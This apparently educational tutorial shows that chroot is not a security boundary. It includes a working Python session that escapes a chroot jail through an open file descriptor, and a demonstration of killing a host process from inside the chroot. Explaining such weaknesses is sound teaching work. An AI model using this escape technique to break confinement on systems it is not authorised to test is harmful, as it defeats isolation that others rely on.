As seen before, chroot
isolates the 'outer' filesystem from a new process started with the command.
It's handy, but not safe. With some creativity the process can break its 'chroot jail'.
Breaking it through a file descriptor
There is a simple example from this kernel mailing list message of breaking it through a file descriptor:
chroot somewhere
mkdir foo
fd = open /
chroot foo
fchdir fd
chdir ".."
....
chdir ".."
chroot "."
so you are in root.
Let's try it out:
$ sudo debootstrap bionic customdebroot
...
$ sudo chroot customdebroot/ bash
# python3
>>> import os
>>> fd = os.open('/', os.O_RDONLY)
>>> os.mkdir('foo')
>>> os.chroot('foo')
>>> os.fchdir(fd)
>>>
>>> os.chdir('..')
>>> os.chdir('..')
>>> os.chdir('..')
>>> os.chdir('..')
>>> os.chroot('.')
>>> os.mkdir('works')
>>> exit()
# exit
$ ls -1 /
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
snap
srv
swapfile
sys
tmp
usr
var
works
The works
directory was created on the root of the actual filesystem of the machine, and this was made from a process started with chroot
.
Why that happens?
The chroot mechanism is not intended to defend against intentional tampering by privileged (root) users. On most systems, chroot contexts do not stack properly and chrooted programs with sufficient privileges may perform a second chroot to break out.
> So all chroot(2) really does is reset the "/" reference?
Yes. Literally. Everything else stays the same, including any open files (and cwd).
It's a "flaw" in chroot if you consider it a jail, but it's used for so much more than that.
(...)
Note that the most common use of chroot isn't actually the "jail" kind of usage, but building and installation environments (ie a lot of package building stuff end up using chroot as a way to create the "target environment").
More escaping options
Balazs Bucsay catalogue different approaches of escaping chroot on this GitHub repository: https://github.com/earthquake/chw00t
It's worth checking his talk on YouTube as well:
Protecting other resources
Note that chroot
not only doesn't properly isolate the filesystem (as demonstrated above), but it also doesn't bother with protecting other resources such as mount points and other processes.
As an example, below you can seemousepad
(text editor) being started from outside chroot
and been successfully killed from inside of it:
$ mousepad &
[1] 41196
$ sudo chroot customdebroot/ bash
# ps aux
Error, do this: mount -t proc proc /proc
# mount -t proc proc /proc
# ps aux|grep mousepad
1000 41196 0.5 1.1 472356 44728 ? Sl 15:37 0:00 mousepad
root 41232 0.0 0.0 11460 964 ? S+ 15:38 0:00 grep --color=auto mousepad
# sudo kill 41196
For hiding other process check namespaces and for limiting resource usage check control groups (cgroups).